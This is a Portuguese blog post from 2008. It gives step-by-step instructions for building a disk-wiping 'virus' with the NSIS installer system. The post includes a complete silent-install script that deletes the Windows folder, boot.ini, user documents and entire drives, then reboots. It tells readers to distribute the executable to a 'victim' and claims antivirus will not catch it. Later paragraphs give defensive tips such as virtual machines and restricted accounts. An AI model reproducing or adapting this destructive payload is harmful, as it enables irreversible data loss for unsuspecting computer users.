sexta-feira, 9 de maio de 2008

Apagar um HD

Vou mostrar como fazer um simples programinha devastador, que apaga TUDO do HD. Tanto os arquivos do usuário como as pastas do sistema e os programas. Ele será rodado no Windows, então alguns arquivos de sistema não serão apagados porque estarão em uso. Mas apagando a maioria e alguns estratégicos, já é o suficiente para que o computador nem inicie, a menos que a pessoa formate e reinstale tudo (mas aí ela já teria perdido seus dados).

Apagar arquivos... Sugiro usar o gerador de programas de instalação NSIS (Nullsoft Scriptable Install System). Ele é destinado a desenvolvedores e distribuidores de aplicações, mas é muito versátil. Você cria um "falso" programa de instalação, que na real não instala é nada, apenas apaga coisas. Esse NSIS funciona com um script, você cria um arquivo de texto com as instruções, compila nele, e ele gera o executável baseado nessas instruções. O uso do NSIS é uma boa também porque o executável fica extremamente pequeno, com menos de 50 kb. Mas você poderia usar, é claro, outros instaladores...

Baixe o NSIS em nsis.sourceforge.net e instale-o. Ele é gratuito (e open source). Não vamos nos deter com o script dele, vamos direto ao assunto. Ele possui uma função "Delete", que apaga arquivos ou pastas. Basta você adicionar os nomes de arquivos ou pastas desejados, e gerar o programa. Esta função deveria ser usada para apagar arquivos de um programa que seria desinstalado, já que o NSIS é um criador de programas de instalação para outros programas. Mas como apaga arquivos que você define, pode ser usada para o mal também, só depende das suas intenções. Em menos de 1 minuto seu vírus estará pronto.

Com o NSIS instalado, abra um editor de textos puro, como o Bloco de notas, e digite (ou copie e cole) o texto em vermelho:

!define PRODUCT_NAME "APAGADOR_XXX"
!define PRODUCT_VERSION "1.0"
!define PRODUCT_PUBLISHER "HACKER_XXX"

SetCompressor lzma

Name "${PRODUCT_NAME} ${PRODUCT_VERSION}"
OutFile "MeuVirus.exe"
InstallDir "$TEMP"
Icon "${NSISDIR}\Contrib\Graphics\Icons\modern-install.ico"
SilentInstall silent

Section "Sec001" SEC01
Delete /REBOOTOK "$WINDIR\*.*"
SectionEnd

Section -Post
Reboot
SectionEnd

Salve com a extensão ".nsi", e escolha "Todos os arquivos", no campo "Salvar como tipo". A extensão ".nsi" é a de projeto do NSIS, você poderia usar outra qualquer e depois abri-lo no compilador do NSIS ("Iniciar > Programas > MakeNSISW (Compiler GUI)").

Vamos entender esse arquivo... As três primeiras linhas identificam o "programa" que seria instalado, afinal o NSIS é um instalador. Deixe como está, ou escreva qualquer coisa, de preferência não palavras. O item "OutFile" é o executável que será gerado, é o seu vírus que deverá ser distribuído. A linha "SilentInstall silent" gera um instalador oculto, que não mostra nada na tela. Ou seja, quando a vítima executá-lo, ele já começará a apagar tudo sem mostrar nada.

Na seção "Sec01", você deve adicionar as entradas "Delete" que desejar. Existem outros comandos, é possível, em vez de apagar arquivos, criar entradas no registro, instalar programas que se auto-executam, etc. Não me pergunte como fazer isso.

A linha "Delete /REBOOTOK "$WINDIR\*.*" apaga tudo da pasta do Windows, deixando para apagar na próxima inicialização o que estiver em uso. Copie-a e cole-a abaixo dela, antes do SectionEnd, trocando as pastas ou arquivos que você queira apagar. Por exemplo:

Delete /REBOOTOK "C:\boot.ini"
Delete /REBOOTOK "C:\Meus documentos\*.*"
Delete /REBOOTOK "C:\*.*"
Delete /REBOOTOK "D:\*.*"
Delete /REBOOTOK "E:\*.*"
Delete /REBOOTOK "F:\*.*"
Delete /REBOOTOK "G:\*.*"
Delete /REBOOTOK "C:\Arquivos de programas\*.*"


Adicione o que quiser, arquivos específicos, etc.

A última seção, "Section -Post / Reboot / SectionEnd", será executada ao concluir o instalador, ou seja, quando ele terminar sua ação. O comando "reboot" reiniciará o computador, que na próxima inicialização nem inicia mais. Se você quiser, pode remover essas três últimas linhas, para deixar o usuário em desespero, vendo que tudo do seu PC foi apagado.

Salve o arquivo. Abra o compilador do NSIS, em "Iniciar > Programas > MakeNSISW (Compiler GUI)", clique no menu "File > Load script", localize o arquivo de extensão ".nsi" que você salvou. Ele já compilará, é rapidinho. NÃO CLIQUE NO BOTÃO "TEST INSTALLER".

O vírus está pronto! E, em condições normais, nenhum anti-vírus o detectaria, a menos que ele fosse parar nas mãos de algum criador de anti-vírus.

Como testá-lo sem se ferrar por conta da própria criação? Use máquinas virtuais! Já comentei aqui no Explorando sobre o Bochs, na seção de matérias do site Mep Sites (materias.mepsites.cjb.net) você encontra um tutorial dele. Pode usar também o QEMU, com a ajuda do Kemula (kemula.mepsites.cjb.net), se precisar. Ou o comercial e carinho VMware. Usando uma máquina virtual você ferra apenas o sistema virtual, que pode ser facilmente restaurado se você tiver uma cópia dele em CD ou outra pasta. Dica: use máquinas virtuais também para testar pela primeira vez programas que você pega na Internet, e mais: navegue na Internet só pela máquina virtual! Quanto ao seu "virusinho", se preferir, teste num PC cobaia, onde você saiba que tudo pode ser apagado. Leia a ajuda do NSIS para ver outros comandos e constantes de pastas.

Fácil, não?

Claro, isso é só um exemplo, ideal para lammers ou gente que se acha (e que na real não sabe é nada). Ou mesmo para quem está curioso e iniciando. Para fazer vírus específicos é recomendável dominar uma linguagem de programação. E lembre-se: você deve saber o que o vírus fará, o que ele vai atacar, e mais, saber como atacar. Não adianta querer ver a agenda do celular da namorada se você não souber onde ela guarda o celular. Não adianta querer ferrar um programa se você não souber que arquivos ou chaves do registro ele utiliza.

Por essas e outras, muito, muito cuidado ao abrir programas da Internet. Não clique naqueles banners de propaganda suspeitos, com carinhas lindas. Não clique no anúncio "Almente o tamanho do seu pênis". Não veja as montagens de fotos que não sei quem fez de você com não sei quem lá, e que te deixou um recado no orkut. Cuidado com os joguinhos em flash "executáveis"; se eles forem de origem desconhecida, tome mais cuidado ainda, prefira ver as versões em páginas HTML com o ".swf" separado. Mesmo se foi um amigo confiável que te passou, ele pode ter pego num site malicioso sem saber, ou então recebeu do primo do colega do vizinho da tia de outra cidade. Se você navega na Internet e mantém arquivos importantes no seu computador, considere o uso de uma conta de usuário restrita para navegar, ou use a conta de "Convidado", é o melhor a ser feito. Mantenha suas partições no Windows formatadas em NTFS, pois ao usar uma conta restrita, ela não terá acesso completo aos arquivos do sistema nem das outras pastas. Se o apagador que mostrei como criar, por exemplo, fosse rodado com uma conta de usuário restrita numa partição em NTFS, ele não conseguiria apagar praticamente NADA da pasta do Windows nem das outras pastas. O maior estrago seria na conta de usuário usada para rodá-lo, por isso se fosse um usuário restrito ou o convidado, seus arquivos estariam a salvo. Note que mesmo em NTFS, se você usasse a conta de administrador, boa parte dessa proteção iria por água abaixo, já que normalmente os administradores podem apagar arquivos do sistema e das outras pastas. E um programa executado como administrador, tem todos os direitos concedidos à conta de administrador. Ao instalar um programa, desmarque na instalação tudo o que for suspeito, especialmente se não estiver documentado. Muitas barras de ferramentas extras que aparecem no seu navegador foram instaladas junto com algum programa que você instalou "conscientemente", clicando em tudo, sem ler nada. LEIA. LEIA TUDO O QUE PUDER. Muitos spywares são documentados na licença de uso de um software, e muitos brasileiros que já não têm costume de ler mesmo, assim instalam ele sem saber. Um software que se preze e que respeite seus usuários deixa bem claro suas condições de uso, você só usa se concordar. E nada mais justo, se não concordar, simplesmente NÃO UTILIZE.

Uma dica para usuários do Windows XP ou as versões superiores. Ao rodar um programa suspeito, ou animações em flash executáveis, joguinhos que se dizem que "não precisa instalar", etc, o Windows pode desativar algumas alterações que o programa tente realizar. Por exemplo, ele não conseguirá alterar NADA no registro, o que é uma grande vantagem. Claro, se o programa depender disso para funcionar, nada feito, ele não irá rodar ou mostrará uma série de mensagens de erro. Executar programas confiáveis assim pode fazer com que eles não funcionem também, pois é comum um programa ler e gravar dados no registro ao ser aberto ou fechado. Já um joguinho "não instalável" ou uma animação em flash não deveria fazer nada isso, né? Para executar um programa no modo restrito: clique com o botão direito do mouse no ícone do mesmo, escolha "Executar como". Deixe selecionado o seu nome de usuário, e deixe marcado o item "Proteger meu computador e meus dados contra atividades não autorizadas de programas". Dê OK. Abrindo o programa assim, entre outras coisas, ele não poderá alterar nada no registro do Windows. Se o item "Executar como" não aparecer no menu, selecione o arquivo, segure SHIFT e clique com o direito nele.

Para programas suspeitos ou totalmente desconhecidos, eu recomendo testar em máquinas virtuais, como comentei mais acima. É melhor. Se der pau, dá só nela (a menos que você tenha arquivos no seu PC na rede compartilhados com permissão de escrita). Apague o arquivo do HD virtual e recopie a pasta. É mais prático do que usar uma máquina cobaia, tendo que reinstalar ou reparar tudo.

Enfim, esta dica tem diversos públicos. Não estou incentivando o mal, mas tirando uma curiosidade de muita gente sobre os vírus. O uso que se fará dela é de responsabilidade de cada um, né?! Um martelo pode ser usado na construção da sua casa, dos seus móveis. Mas pode também servir também para estourar seus miolos. Tudo é relativo.